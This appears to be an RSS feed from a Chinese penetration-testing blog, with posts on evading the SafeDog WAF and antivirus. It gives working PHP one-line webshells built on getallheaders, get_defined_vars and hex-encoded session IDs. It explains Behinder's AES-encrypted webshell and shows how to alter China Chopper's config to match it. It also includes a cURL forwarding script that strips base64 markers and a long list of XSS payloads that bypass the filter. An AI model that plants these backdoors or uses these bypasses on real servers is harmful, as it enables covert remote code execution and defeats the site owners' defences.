<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>过狗 &#8211; ChaBug安全</title>
	<atom:link href="/tags/%E8%BF%87%E7%8B%97/feed" rel="self" type="application/rss+xml" />
	<link>/</link>
	<description>一个分享知识、结识伙伴、资源共享的博客</description>
	<lastBuildDate>Fri, 23 Aug 2019 01:27:49 +0000</lastBuildDate>
	<language>zh-CN</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=5.5.5</generator>
	<item>
		<title>PHP利用Apache、Nginx的特性实现免杀Webshell</title>
		<link>/tools/646.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Fri, 25 Jan 2019 14:33:27 +0000</pubDate>
				<category><![CDATA[工具分享]]></category>
		<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[shell]]></category>
		<category><![CDATA[webshell]]></category>
		<category><![CDATA[免杀]]></category>
		<category><![CDATA[过狗]]></category>
		<category><![CDATA[过狗一句话]]></category>
		<guid isPermaLink="false">/?p=646</guid>

					<description><![CDATA[get_defined_vars()、getallheaders()是两个特性函数，我们可以通过这两个函数来构造我们的webshell。 前几天看到的，一直忘记写，填坑。 &#60;...]]></description>
										<content:encoded><![CDATA[<p class="md-end-block md-focus" contenteditable="true"><span spellcheck="false"><code>get_defined_vars()</code></span>、<span spellcheck="false"><code>getallheaders()</code></span>是两个特性函数，我们可以通过这两个函数来构造我们的<span class="wpcom_tag_link"><a href="/tags/webshell" title="webshell" target="_blank">webshell</a></span>。 <span class="md-expand">前几天看到的，一直忘记写，填坑。</span> <span class="md-comment" spellcheck="false">&lt;!&#8211;more&#8211;&gt;</span></p>
<figure class="md-table-fig" contenteditable="false">
<table class="md-table">
<thead>
<tr class="md-end-block">
<th><span class="td-span" contenteditable="true">环境</span></th>
<th><span class="td-span" contenteditable="true">函数</span></th>
<th><span class="td-span" contenteditable="true">用法</span></th>
</tr>
</thead>
<tbody>
<tr class="md-end-block">
<td><span class="td-span" contenteditable="true">nginx</span></td>
<td><span class="td-span" contenteditable="true"><span spellcheck="false"><code>get_defined_vars()</code></span></span></td>
<td><span class="td-span" contenteditable="true">返回由所有已定义变量所组成的数组</span></td>
</tr>
<tr class="md-end-block">
<td><span class="td-span" contenteditable="true">apache</span></td>
<td><span class="td-span" contenteditable="true"><span spellcheck="false"><code>getallheaders()</code></span></span></td>
<td><span class="td-span" contenteditable="true">获取全部 HTTP 请求头信息</span></td>
</tr>
</tbody>
</table>
</figure>
<h2 class="md-end-block md-heading" contenteditable="true">apache环境</h2>
<pre class="lang:default decode:true md-fences md-end-block ty-contain-cm modeLoaded">&lt;?php
eval(next(getallheaders())); 
?&gt;</pre>
<p class="md-end-block" contenteditable="true"><span class="md-image md-img-loaded" contenteditable="false" data-src="https://ws1.sinaimg.cn/large/006xriynly1fzj5897bb5j30z40rk77e.jpg"><img src="https://ws1.sinaimg.cn/large/006xriynly1fzj5897bb5j30z40rk77e.jpg" /></span></p>
<h2 class="md-end-block md-heading" contenteditable="true">apache和nginx环境通用</h2>
<pre class="lang:default decode:true md-fences md-end-block ty-contain-cm modeLoaded">&lt;?php
eval(implode(reset(get_defined_vars())));
?&gt;</pre>
<p class="md-end-block" contenteditable="true"><span class="md-image md-img-loaded" contenteditable="false" data-src="https://ws1.sinaimg.cn/large/006xriynly1fzj5thbdjxj30z40rkq5m.jpg"><img src="https://ws1.sinaimg.cn/large/006xriynly1fzj5thbdjxj30z40rkq5m.jpg" /></span> 另外一种通过执行伪造的sessionid值，进行任意代码执行。</p>
<pre class="lang:default decode:true md-fences md-end-block ty-contain-cm modeLoaded">&lt;?php
eval(hex2bin(session_id(session_start())));
?&gt;</pre>
<p class="md-end-block" contenteditable="true"><span class="md-image md-img-loaded" contenteditable="false" data-src="https://ws1.sinaimg.cn/large/006xriynly1fzj64fw0yfj30z30rktbs.jpg"><img src="https://ws1.sinaimg.cn/large/006xriynly1fzj64fw0yfj30z30rktbs.jpg" /></span></p>
<p class="md-end-block" contenteditable="true"><span spellcheck="false"><code>706870696e666f28293b</code></span>这个是<span spellcheck="false"><code>phpinfo();</code></span>的hex编码。</p>
<h2 class="md-end-block md-heading" contenteditable="true">给<span class="wpcom_tag_link"><a href="/tags/shell" title="shell" target="_blank">shell</a></span>加密码</h2>
<pre class="lang:default decode:true md-fences md-end-block ty-contain-cm modeLoaded">&lt;?php eval(get_defined_vars()['_GET']['cmd']);?&gt;</pre>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>冰蝎动态二进制加密过waf并修改自己菜刀过狗</title>
		<link>/web/580.html</link>
					<comments>/web/580.html#comments</comments>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Mon, 15 Oct 2018 03:43:52 +0000</pubDate>
				<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[一句话]]></category>
		<category><![CDATA[冰蝎]]></category>
		<category><![CDATA[菜刀]]></category>
		<category><![CDATA[过狗]]></category>
		<guid isPermaLink="false">/?p=580</guid>

					<description><![CDATA[rebeyond大大出的神器冰蝎下载地址 作为新型加密网站管理客户端，冰蝎算是作为中国菜刀的替代者。我们来看下他的主要功能。 主要功能 1. 基本信息 客户端和服务端握手之后，会获...]]></description>
										<content:encoded><![CDATA[<blockquote>
<p class="md-end-block" contenteditable="true"><span class="md-expand">rebeyond大大出的神器<span class="wpcom_tag_link"><a href="/tags/%e5%86%b0%e8%9d%8e" title="冰蝎" target="_blank">冰蝎</a></span></span><span class=" md-link"><a spellcheck="false" href="https://github.com/rebeyond/Behinder/releases">下载地址</a></span></p>
</blockquote>
<p class="md-end-block" contenteditable="true">作为新型加密网站管理客户端，冰蝎算是作为中国<span class="wpcom_tag_link"><a href="/tags/%e8%8f%9c%e5%88%80" title="菜刀" target="_blank">菜刀</a></span>的替代者。我们来看下他的主要功能。</p>
<h1 class="md-end-block md-heading" contenteditable="true"><span class="">主要功能</span></h1>
<h3 class="md-end-block md-heading" contenteditable="true"><span class="">1. 基本信息</span></h3>
<p class="md-end-block" contenteditable="true"><span class="">客户端和服务端握手之后，会获取服务器的基本信息，Java、.NET版本包括环境变量、系统属性等，PHP版本会显示phpinfo的内容。</span></p>
<h3 class="md-end-block md-heading" contenteditable="true"><span class="">2. 文件管理</span></h3>
<p class="md-end-block" contenteditable="true">这个没什么好说的，无非是文件的增删改查，稍微不同的是上传的文件都是加密传输的，可以避免被拦截。</p>
<h3 class="md-end-block md-heading" contenteditable="true">3. 命令执行</h3>
<p class="md-end-block" contenteditable="true"><span class="">执行单条操作系统命令。</span></p>
<h3 class="md-end-block md-heading" contenteditable="true"><span class="">4. 虚拟终端</span></h3>
<p class="md-end-block" contenteditable="true">虚拟终端是模拟了一个真实的交互式Shell环境，相当于把服务器侧的Shell给搬到了客户端，在这个Shell里可以执行各种需要交互式的命令，如ssh、mysql。比如说：我们可以在这个Shell里去ssh连接服务器侧内网的其他主机，可以参考下面这个动图： <span class=" md-link"><a spellcheck="false" href="https://xzfile.aliyuncs.com/media/upload/picture/20180924162425-3f32bef2-bfd3-1.gif"><span class="md-image md-img-loaded" contenteditable="false" data-src="https://xzfile.aliyuncs.com/media/upload/picture/20180924162425-3f32bef2-bfd3-1.gif"><img src="https://xzfile.aliyuncs.com/media/upload/picture/20180924162425-3f32bef2-bfd3-1.gif" /></span></a></span></p>
<p class="md-end-block" contenteditable="true">当然，如果你习惯powershell，也可以弹个powershell出来，如下图：</p>
<p class="md-end-block" contenteditable="true"><span class=" md-link"><a spellcheck="false" href="https://xzfile.aliyuncs.com/media/upload/picture/20180924162509-5989eb36-bfd3-1.gif"><span class="md-image md-img-loaded" contenteditable="false" data-src="https://xzfile.aliyuncs.com/media/upload/picture/20180924162509-5989eb36-bfd3-1.gif"><img src="https://xzfile.aliyuncs.com/media/upload/picture/20180924162509-5989eb36-bfd3-1.gif" /></span></a></span></p>
<h3 class="md-end-block md-heading" contenteditable="true">5. Socks代理</h3>
<p class="md-end-block" contenteditable="true">虚拟终端功能其实就已经部分实现了内网穿透的能力，在Shell环境里做的所有事情都是在内网环境中的。不过为了方便使用其他工具，客户端还提供了基于<span class="wpcom_tag_link"><a href="/tags/%e4%b8%80%e5%8f%a5%e8%af%9d" title="一句话" target="_blank">一句话</a></span>木马的Socks代理功能，一键开启，简单高效，可以参考如下动图：</p>
<p class="md-end-block" contenteditable="true"><span class=" md-link"><a spellcheck="false" href="https://xzfile.aliyuncs.com/media/upload/picture/20180924162620-839c5d50-bfd3-1.gif"><span class="md-image md-img-loaded" contenteditable="false" data-src="https://xzfile.aliyuncs.com/media/upload/picture/20180924162620-839c5d50-bfd3-1.gif"><img src="https://xzfile.aliyuncs.com/media/upload/picture/20180924162620-839c5d50-bfd3-1.gif" /></span></a></span></p>
<p class="md-end-block" contenteditable="true">顺便说一下，代理过程中所有的流量都是在socks的基础上封装了一层AES。</p>
<h3 class="md-end-block md-heading" contenteditable="true">6.反弹Shell</h3>
<p class="md-end-block" contenteditable="true">反弹Shell是突破防火墙的利器，也几乎是后渗透过程的必备步骤。提到后渗透，当然少不了metasploit，提到metasploit，当然少不了meterpreter，所以冰蝎客户端提供了两种反弹Shell的方式，常规Shell和Meterpreter，实现和metasploit的一键无缝对接。请参考如下动图：</p>
<p class="md-end-block" contenteditable="true"><span class=" md-link"><a spellcheck="false" href="https://xzfile.aliyuncs.com/media/upload/picture/20180924162737-b16662f8-bfd3-1.gif"><span class="md-image md-img-loaded" contenteditable="false" data-src="https://xzfile.aliyuncs.com/media/upload/picture/20180924162737-b16662f8-bfd3-1.gif"><img src="https://xzfile.aliyuncs.com/media/upload/picture/20180924162737-b16662f8-bfd3-1.gif" /></span></a></span></p>
<p class="md-end-block" contenteditable="true">上图演示的是Meterpreter，当然常规的Shell也可以对接metasploit，就不演示了。</p>
<h3 class="md-end-block md-heading" contenteditable="true">7.数据库管理</h3>
<p class="md-end-block" contenteditable="true">常规功能，实现了数据库的可视化管理，放张截图吧： <span class="md-link"><a spellcheck="false" href="https://xzfile.aliyuncs.com/media/upload/picture/20180924162809-c4b25d8a-bfd3-1.png"><span class="md-image md-img-loaded" contenteditable="false" data-src="https://xzfile.aliyuncs.com/media/upload/picture/20180924162809-c4b25d8a-bfd3-1.png"><img src="https://xzfile.aliyuncs.com/media/upload/picture/20180924162809-c4b25d8a-bfd3-1.png" /></span></a></span></p>
<p class="md-end-block" contenteditable="true"><span class="">和常规管理工具不同的是，在Java和.NET环境中，当目标机器中没有对应数据库的驱动时，会自动上传并加载数据库驱动。比如目标程序用的是MySQL的数据，但是内网有另外一台Oracle，此时就会自动上传并加载Oracle对应的驱动。</span></p>
<h3 class="md-end-block md-heading" contenteditable="true">8.自定义代码</h3>
<p class="md-end-block" contenteditable="true"><span class="">可以在服务端执行任意的Java、PHP、C#代码，这也是个常规功能，值得一提的是我们输入的代码都是加密传输的，所以不用为了躲避waf而用各种编码变形，效果请参考如下动图：</span></p>
<p class="md-end-block" contenteditable="true"><span class=" md-link"><a spellcheck="false" href="https://xzfile.aliyuncs.com/media/upload/picture/20180924162856-e09cdbf6-bfd3-1.gif"><span class="md-image md-img-loaded" contenteditable="false" data-src="https://xzfile.aliyuncs.com/media/upload/picture/20180924162856-e09cdbf6-bfd3-1.gif"><img src="https://xzfile.aliyuncs.com/media/upload/picture/20180924162856-e09cdbf6-bfd3-1.gif" /></span></a></span></p>
<h3 class="md-end-block md-heading" contenteditable="true">9.备忘录</h3>
<p class="md-end-block" contenteditable="true"><span class="">渗透的时候总有很多零碎的信息需要记录，所以针对每个Shell提供了一个备忘录的功能，目前只支持纯文本，粘贴进去自动保存：</span></p>
<p class="md-end-block" contenteditable="true"><span class="md-link"><a spellcheck="false" href="https://xzfile.aliyuncs.com/media/upload/picture/20180924162934-f7650e12-bfd3-1.png"><span class="md-image md-img-loaded" contenteditable="false" data-src="https://xzfile.aliyuncs.com/media/upload/picture/20180924162934-f7650e12-bfd3-1.png"><img src="https://xzfile.aliyuncs.com/media/upload/picture/20180924162934-f7650e12-bfd3-1.png" /></span></a></span></p>
<h1 class="md-end-block md-heading" contenteditable="true">接下来我们看下他的亮点出在哪里</h1>
<p><span class="">看下他的php一句话</span></p>
<pre class="lang:default decode:true ">&lt;?php session_start();isset($_GET['pass'])?print $_SESSION['k']=substr(md5(uniqid(rand())),16):($b=explode('|',openssl_decrypt(file_get_contents("php://input"), "AES128", $_SESSION['k'])))&amp;$b[0]($b[1]);?&gt;
</pre>
<p>&nbsp;</p>
<p>为了代码可读性，我们来扩充下：</p>
<pre class="lang:default decode:true ">&lt;?php
session_start();
if (isset($_GET['pass']))
{
    $key=substr(md5(uniqid(rand())),16);
    $_SESSION['k']=$key;
    print $key;
}
else
{
    $key=$_SESSION['k'];
    $decrptContent=openssl_decrypt(file_get_contents("php://input"), "AES128", $key);
    $arr=explode('|',$decrptContent);
    $func=$arr[0];
    $params=$arr[1];
    $func($params);
}
?&gt;</pre>
<p>&nbsp;</p>
<p class="md-end-block" contenteditable="true">介绍下流程</p>
<ul class="ul-list" data-mark="-">
<li class="md-list-item">
<p class="md-end-block" contenteditable="true"><span class="">首先get发起带密码的请求，服务端随机产生密钥存入session。</span></p>
</li>
<li class="md-list-item">
<p class="md-end-block" contenteditable="true"><span class="">获取session中的密钥，然后将客户端发送的源代码进行aes加密，通过</span><span spellcheck="false"><code>|</code></span><span class="">分割，然后通过php的可变函数执行。</span></p>
</li>
</ul>
<p class="md-end-block" contenteditable="true"><span class="">具体一点，比如我们客户端有一段代码</span></p>
<pre class="lang:default decode:true ">assert|eval("phpinfo();")</pre>
<p>&nbsp;</p>
<p class="md-end-block" contenteditable="true">进行aes128加密发送给服务端，服务端用<span spellcheck="false"><code>explode</code></span>函数分割字符，索引为0的是<span spellcheck="false"><code>assert</code></span>，索引为1的是<span spellcheck="false"><code>eval("phpinfo();")</code></span>，然后通过可变函数执行<span spellcheck="false"><code>assert("eval(\"phpinfo();\")")</code></span>，这样就很清晰明了了。</p>
<h1 class="md-end-block md-heading" contenteditable="true"><span class="">过waf的效果</span></h1>
<p class="md-end-block" contenteditable="true">常规一句话<span class="" spellcheck="false"><code>&lt;?php @eval($_POST['caidao']);?&gt;</code></span>菜刀链接：</p>
<p class="md-end-block" contenteditable="true"><span class="md-image md-img-loaded" contenteditable="false" data-src="https://xzfile.aliyuncs.com/media/upload/picture/20180921104312-1560723c-bd48-1.png"><img src="https://xzfile.aliyuncs.com/media/upload/picture/20180921104312-1560723c-bd48-1.png" /></span></p>
<p class="md-end-block" contenteditable="true">新型一句话冰蝎链接：</p>
<p class="md-end-block" contenteditable="true"><span class="md-image md-img-loaded" contenteditable="false" data-src="https://xzfile.aliyuncs.com/media/upload/picture/20180921104326-1d78ff8e-bd48-1.png"><img src="https://xzfile.aliyuncs.com/media/upload/picture/20180921104326-1d78ff8e-bd48-1.png" /></span></p>
<h1 class="md-end-block md-heading" contenteditable="true">对菜刀的修改</h1>
<p class="md-end-block" contenteditable="true">对这个一句话颇感兴趣，那么我们是不是可以把菜刀也改一改呢？</p>
<p class="md-end-block" contenteditable="true">我本地搭建了环境，一句话内容为<span class="" spellcheck="false"><code>&lt;?php @eval($_POST['caidao']);?&gt;</code></span></p>
<p><span class="">先来抓包看下菜刀的请求包</span></p>
<p><a href="https://img.chabug.org/img/20181015111909.png"><img loading="lazy" class="aligncenter size-medium" src="https://img.chabug.org/img/20181015111909.png" width="1595" height="616" /></a></p>
<p class="md-end-block md-focus" contenteditable="true"><span class="md-expand">在新版菜刀2016的caidao.conf中45行，</span><span class="" spellcheck="false"><code>%s</code></span><span class="">是执行的命令</span></p>
<pre class="lang:default decode:true ">ZXZhbChiYXNlNjRfZGVjb2RlKCRfUE9TVFtpZF0pKTs%%3D&amp;id=%s</pre>
<p>&nbsp;</p>
<p class="md-end-block" contenteditable="true"><span class="">解密后</span></p>
<pre class="lang:default decode:true ">eval(base64_decode($_POST[id]));&amp;id=%s</pre>
<p>&nbsp;</p>
<p class="md-end-block" contenteditable="true">那么我们的一句话可以这样写</p>
<pre class="lang:default decode:true ">&lt;?php
if ($_GET['pass']!=1){
}
else{
    $decrpt = file_get_contents("php://input");
    $arrs = explode("|", $decrpt)[1];
    $arrs = explode("|", base64_decode($arrs));
    call_user_func($arrs[0],$arrs[1]);
}
​
?&gt;</pre>
<p>&nbsp;</p>
<p class="md-end-block" contenteditable="true">你也可以这样来</p>
<pre class="lang:default decode:true ">&lt;?php
$decrpt = $_POST['x'];
$arrs = explode("|", $decrpt)[1];
$arrs = explode("|", base64_decode($arrs));
var_dump($arrs[0],$arrs[1]);
call_user_func($arrs[0],$arrs[1]);
?&gt;</pre>
<p>&nbsp;</p>
<p class="md-end-block" contenteditable="true"><span class="">那么我们菜刀要改下</span></p>
<pre class="lang:default decode:true ">|assert|eval(base64_decode($_POST[id]));|&amp;id=%s</pre>
<p>&nbsp;</p>
<p class="md-end-block" contenteditable="true"><span class="">在caidao.conf的45行就要改成</span></p>
<pre class="lang:default decode:true ">|YXNzZXJ0fGV2YWwoYmFzZTY0X2RlY29kZSgkX1BPU1RbaWRdKSk7|&amp;id=%s</pre>
<p>&nbsp;</p>
<p class="md-end-block" contenteditable="true">这样和冰蝎实现的效果就一样了，<span class=""><strong>同样<span class="wpcom_tag_link"><a href="/tags/%e8%bf%87%e7%8b%97" title="过狗" target="_blank">过狗</a></span></strong></span><span class="">，愉快玩耍吧！</span></p>
<p class="md-end-block" contenteditable="true"><span class="">涉及到的资料，表示感谢！</span></p>
<p class="md-end-block" contenteditable="true"><span class="md-link" spellcheck="false"><a href="https://www.t00ls.net/thread-48079-1-1.html">https://www.t00ls.net/thread-48079-1-1.html</a></span></p>
<p class="md-end-block" contenteditable="true"><span class="md-link md-expand" spellcheck="false"><a href="https://xz.aliyun.com/t/2774">https://xz.aliyun.com/t/2774</a></span></p>
]]></content:encoded>
					
					<wfw:commentRss>/web/580.html/feed</wfw:commentRss>
			<slash:comments>2</slash:comments>
		
		
			</item>
		<item>
		<title>本地转发过狗原理</title>
		<link>/web/542.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Mon, 20 Aug 2018 07:01:53 +0000</pubDate>
				<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[菜刀]]></category>
		<category><![CDATA[转发]]></category>
		<category><![CDATA[过狗]]></category>
		<guid isPermaLink="false">/?p=542</guid>

					<description><![CDATA[在土司发了篇水文，有朋友问本地转发过狗的原理。虽然早就用了但是一直没认真研究过，借此机会研究一下。脚本非原创，链接文末贴出。 发现安全狗检测特征 网站存在安全狗的情况下即使上传了一...]]></description>
										<content:encoded><![CDATA[<blockquote>
<p class="">在土司发了篇<a href="https://www.t00ls.net/articles-47306.html" rel="noopener">水文</a>，有朋友问本地<span class="wpcom_tag_link"><a href="/tags/%e8%bd%ac%e5%8f%91" title="转发" target="_blank">转发</a></span><span class="wpcom_tag_link"><a href="/tags/%e8%bf%87%e7%8b%97" title="过狗" target="_blank">过狗</a></span>的原理。虽然早就用了但是一直没认真研究过，借此机会研究一下。脚本非原创，链接文末贴出。</p>
</blockquote>
<h1>发现安全狗检测特征</h1>
<p>网站存在安全狗的情况下即使上传了一句话<span class="wpcom_tag_link"><a href="/tags/%e8%8f%9c%e5%88%80" title="菜刀" target="_blank">菜刀</a></span>也连不上，尤其是iis7.5解析漏洞，xx.jpg/.php解析了一句话并且安全狗不拦截，但是连不上shell就很头疼。<br />
首先要知道安全狗是如何检测并拦截的。“经过分析发现安全狗对菜刀的HTTP进行了拦截，菜刀的POST数据里面对eval数据进行了base64编码，安全狗也是利用该特征进行检测的。”这是脚本作者原话(这里不确定是否为原作者，因为我只是在他博客看到的文章。)<br />
具体安全狗是否是利用该特征对菜刀的http进行检测的，我没有研究过，但是取消掉base64编码安全狗的确不拦截了，所以这里就认为是利用该特征进行检测。</p>
<h1>菜刀post数据分析</h1>
<p>研究转发脚本先对菜刀的post数据分析一下，方便理解脚本。<br />
利用wireshark对菜刀抓包分析发现，当我们自写脚本执行print(“test”)时，菜刀的post数据内容为:</p>
<pre class="lang:default decode:true ">test=@eval(base64_decode($_POST[z0]));&amp;z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOztwcmludCgiaGVsbG8gUEhQISIpOztlY2hvKCJ8PC0iKTtkaWUoKTs=
</pre>
<p>&nbsp;</p>
<p>这里的test，为我们上传的一句话的密码”&lt;?php @eval($_POST[‘test’]); ?&gt;”。<br />
可以看到数据包的内容，菜刀将编码的部分解码然后发送给服务端（编码是为了防止特殊字符导致执行出现错误）。将后面的base64编码内容解码</p>
<pre class="lang:default decode:true">@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("-&gt;|");;print("hello PHP!");;echo("|&lt;-");die();
</pre>
<p>都很容易理解就不废话了。</p>
<h1>转发脚本原理</h1>
<p>为了便于理解我画了一张图<br />
<a id="ui-id-1" class="fancy-ctn fancybox" title="原理" href="http://www.evi1.cn/img/web/bypass/yl.png" rel="fancy-group"><img loading="lazy" title="原理" src="http://www.evi1.cn/img/web/bypass/yl.png" alt="原理" width="undefined" height="undefined" /></a><br />
转发脚本源代码:</p>
<pre class="lang:default decode:true ">&lt;?php $target="";//webshell地址
$poststr='';
$i=0;
foreach($_POST as $k=&gt;$v)
{
    if(strstr($v, "base64_decode"))
        {
            $v=str_replace("base64_decode(","",$v);
            $v=str_replace("))",")",$v);
        }else
        {
            if($k==="z0")
                $v=base64_decode($v);
        }
    $pp=$k."=".urlencode($v);
    // echo $pp;
    if($i!=0)
    {
        $poststr=$poststr."&amp;".$pp;
    }
    else
    {
        $poststr=$pp;
    }
    $i=$i+1;
}
$ch = curl_init();
$curl_url = $target."?".$_SERVER['QUERY_STRING']; 
curl_setopt($ch, CURLOPT_URL, $curl_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $poststr); 
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result = curl_exec($ch);
curl_close($ch);
echo $result;
?&gt;</pre>
<p>&nbsp;</p>
<p>先分析foreach这一段:</p>
<pre class="lang:default decode:true ">foreach($_POST as $k=&gt;$v)
{
    if(strstr($v, "base64_decode"))
        {
            $v=str_replace("base64_decode(","",$v);
            $v=str_replace("))",")",$v);
        }else
        {
            if($k==="z0")
                $v=base64_decode($v);
        }
    $pp=$k."=".urlencode($v);
    // echo $pp;
    if($i!=0)
    {
        $poststr=$poststr."&amp;".$pp;
    }
    else
    {
        $poststr=$pp;
    }
    $i=$i+1;
}</pre>
<p>&nbsp;</p>
<p>去除$_POST数组中的键值，利用strstr函数匹配到base64_decode函数并返回剩下的字符串，然后取出z0的值base64_decode解码。经过第一个if条件语句处理完以后数据变为</p>
<pre class="lang:default decode:true ">test=@eval($_POST[z0]);@ini_set(“display_errors”,”0”);@set_time_limit(0);@set_magic_quotes_runtime(0);echo(“-&gt;|”);;print(“hello PHP!”);;echo(“|&lt;-“);die();</pre>
<p>&nbsp;</p>
<p>将数据urlencode(服务端接收参数数据时会自动解码),剩下的的代码就是将两段数据用&amp;连接起来。</p>
<pre class="lang:default decode:true ">$ch = curl_init();
$curl_url = $target."?".$_SERVER['QUERY_STRING']; //获取url?后的值
curl_setopt($ch, CURLOPT_URL, $curl_url);//设置curl传输选项
curl_setopt($ch, CURLOPT_POST, 1);//发送post请求
curl_setopt($ch, CURLOPT_POSTFIELDS, $poststr);// 全部数据使用HTTP协议中的 "POST" 操作来发送 
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);//TRUE 将curl_exec()获取的信息以字符串返回，而不是直接输出。
$result = curl_exec($ch);//执行
curl_close($ch);//关闭
echo $result;
?&gt;</pre>
<p>&nbsp;</p>
<p>emmmm,cURL我理解为就是去访问shell地址的页面。这里我将注释写到了代码后面。<br />
这里有个地方没有深入了解，就是为什么post的数据需要urlencode,我测试的时候去掉了该编码函数，菜刀连接提示页面返回信息有误，不知道是代码的原因还是不编码的话就被安全狗给拦截了。希望有懂的师傅指点一下。</p>
<p>参考文章：<br />
<a href="https://www.cnblogs.com/h4ck0ne/p/5154569.html" target="_blank" rel="noopener noreferrer">h4ck0ne</a><br />
<a href="https://www.cnblogs.com/milantgh/p/4285735.html" target="_blank" rel="noopener noreferrer">中国菜刀原理</a></p>
<p><em>任重而道远</em></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>xss bypass safedog</title>
		<link>/web/534.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Wed, 15 Aug 2018 04:34:55 +0000</pubDate>
				<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[bypass]]></category>
		<category><![CDATA[XSS]]></category>
		<category><![CDATA[过狗]]></category>
		<guid isPermaLink="false">/?p=534</guid>

					<description><![CDATA[核心@X1r0z原创，总是有惊奇的脑回路。 &#160; ref-xss 绕过 payload 格式 &#60;[WORD] on[EVENT]=[EVAL]&#62;[TEXT] 在...]]></description>
										<content:encoded><![CDATA[<p><a href="https://i.pinimg.com/originals/5a/dd/fc/5addfc249e363065f74878269821913f.jpg"><img loading="lazy" class="aligncenter size-medium" src="https://i.pinimg.com/originals/5a/dd/fc/5addfc249e363065f74878269821913f.jpg" width="549" height="480" /></a></p>
<blockquote><p>核心<a href="https://exp10it.cn/2018/08/15/2018-08-15-xss-bypass-safedog/">@X1r0z</a>原创，总是有惊奇的脑回路。</p></blockquote>
<p>&nbsp;</p>
<h2 id="ref-xss">ref-xss</h2>
<p>绕过 payload 格式<br />
<span class="lang:default decode:true crayon-inline ">&lt;[WORD] on[EVENT]=[EVAL]&gt;[TEXT]</span><br />
在随机单词的标签内加上 on 事件, 最后在标签外加上文本.</p>
<p>因为 html 的松散性, 导致<span class="lang:default decode:true crayon-inline ">&lt;sb&gt;sb&lt;/sb&gt;</span> 都能被解析成标签, 并且支持触发类似于<span class="lang:default decode:true crayon-inline ">onclick onmouseover</span> 的事件</p>
<p>特别小众的标签也可以绕过安全狗的规则, 比如<span class="lang:default decode:true crayon-inline ">acronym address</span> 翻翻 w3c 的教程能找出好多</p>
<h2 id="dom-xss">dom-xss</h2>
<p>安全狗不存在 dom-xss 的拦截规则</p>
<p>基本上没有尖括号就可以绕过了, 或者使用上面的 payload</p>
<p>由于上下文是在 JavaScript 的环境内, 会有很多的变形</p>
<pre class="lang:default decode:true ">";alert(0);//
";document.write("\u003cscript\u003ealert(0)\u003c\u002fscript\u003e");//</pre>
<p>&nbsp;</p>
<p>总之先闭合 然后直接弹窗 or 用<span class="lang:default decode:true crayon-inline ">docment.write</span> 写标签</p>
<h2 id="payloads">payloads</h2>
<pre class="lang:default decode:true ">&lt;a onclick="javascript:alert(0)"&gt;a
&lt;javascript onclick="javascript:alert(0)"&gt;a
&lt;b onclick="javascript:alert(0)"&gt;a
&lt;abbr onclick="javascript:alert(0)"&gt;a
&lt;acronym onclick="javascript:alert(0)"&gt;a
&lt;address onclick="javascript:alert(0)"&gt;a
&lt;applet onclick="javascript:alert(0)"&gt;a
&lt;article onclick="javascript:alert(0)"&gt;a
&lt;xss onclick="javascript:alert(0)"&gt;a
&lt;aside onclick="javascript:alert(0)"&gt;a
&lt;bdi onclick="javascript:alert(0)"&gt;a
&lt;bdo onclick="javascript:alert(0)"&gt;a
&lt;big onclick="javascript:alert(0)"&gt;a
&lt;button onclick="javascript:alert(0)"&gt;a
&lt;del onclick="javascript:alert(0)"&gt;a
&lt;details onclick="javascript:alert(0)"&gt;a
&lt;div onclick="javascript:alert(0)"&gt;a
&lt;dfn onclick="javascript:alert(0)"&gt;a
&lt;dl onclick="javascript:alert(0)"&gt;a
&lt;dt onclick="javascript:alert(0)"&gt;a
&lt;h1 onclick="javascript:alert(0)"&gt;a
&lt;h2 onclick="javascript:alert(0)"&gt;a
&lt;h3 onclick="javascript:alert(0)"&gt;a
&lt;h4 onclick="javascript:alert(0)"&gt;a
&lt;h5 onclick="javascript:alert(0)"&gt;a
&lt;h6 onclick="javascript:alert(0)"&gt;a
&lt;header onclick="javascript:alert(0)"&gt;a
&lt;hr onclick="javascript:alert(0)"&gt;a
&lt;html onclick="javascript:alert(0)"&gt;a
&lt;kbd onclick="javascript:alert(0)"&gt;a
&lt;map onclick="javascript:alert(0)"&gt;a
&lt;mark onclick="javascript:alert(0)"&gt;a
&lt;menu onclick="javascript:alert(0)"&gt;a
&lt;menuitem onclick="javascript:alert(0)"&gt;a
&lt;meter onclick="javascript:alert(0)"&gt;a
&lt;q onclick="javascript:alert(0)"&gt;a
&lt;var onclick="javascript:alert(0)"&gt;a
&lt;xmp onclick="javascript:alert(0)"&gt;a
&lt;addons onclick="javascript:alert(0)"&gt;a
&lt;ascii onclick="javascript:alert(0)"&gt;a
&lt;aspx onclick="javascript:alert(0)"&gt;a
&lt;java onclick="javascript:alert(0)"&gt;a
&lt;mobile onclick="javascript:alert(0)"&gt;a
&lt;go onclick="javascript:alert(0)"&gt;a
&lt;alibaba onclick="javascript:alert(0)"&gt;a
&lt;baidu onclick="javascript:alert(0)"&gt;a
